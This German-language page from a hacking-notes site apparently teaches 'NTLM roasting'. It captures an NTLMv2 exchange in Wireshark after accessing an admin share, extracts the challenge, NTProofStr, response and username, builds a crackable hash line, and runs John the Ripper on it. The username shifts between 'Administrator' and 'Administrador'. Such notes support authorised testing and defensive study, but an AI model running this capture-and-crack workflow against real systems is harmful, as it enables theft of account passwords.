> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/ntlm-roasting.md).

# NTLM Roasting

Von einem Windows-Rechner aus lösen wir zunächst NTLM-Authentifizierung aus.

{% code overflow="wrap" %}

```bash
dir //172.16.0.10/c$
```

{% endcode %}

Wenn wir den Datenverkehr in Wireshark mitschneiden, können wir nach `NTLMSSP`.

<figure><img src="/files/598b6dcfa6d76a1ba7e91d28297db253ad12ff7c" alt=""><figcaption></figcaption></figure>

Dann rufen wir die vom Server gesendete Challenge ab.

* 9dcfb27e14194959

<figure><img src="/files/41f8f5dff430aa72978b57f45de0675d33f94d04" alt="" width="563"><figcaption></figcaption></figure>

In der Antwort finden wir auch den vom Client gesendeten verschlüsselten Teil.

{% code overflow="wrap" %}

```bash
d4742b082e949c7f93311599134ffb9b01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

<figure><img src="/files/ce515c0481bf7ba07c6204dc0effcd2fef71fa6c" alt=""><figcaption></figcaption></figure>

Wir notieren auch die `NTProofStr`.

* d4742b082e949c7f93311599134ffb9b

<figure><img src="/files/f1bac206b899e356a5fced4a0ed300375b1638a8" alt=""><figcaption></figcaption></figure>

Schließlich müssen Sie den Benutzernamen identifizieren, der die Anfrage stellt.

* Administrator

<figure><img src="/files/64179fd574fefe454241d67790b682cbd970b657" alt=""><figcaption></figcaption></figure>

All diese Werte werden dann in das vom Cracking-Tool erwartete Format zusammengesetzt.

{% code overflow="wrap" %}

```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```

{% endcode %}

{% code overflow="wrap" %}

```bash
Administrador::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

Unter Linux können wir dann versuchen, die NTLMv2-Antwort zu knacken.

{% code overflow="wrap" %}

```bash
john admin.ntlmv2
```

{% endcode %}

<figure><img src="/files/90997287d71ce0ca46d37a0c461261def5f8a731" alt=""><figcaption></figcaption></figure>


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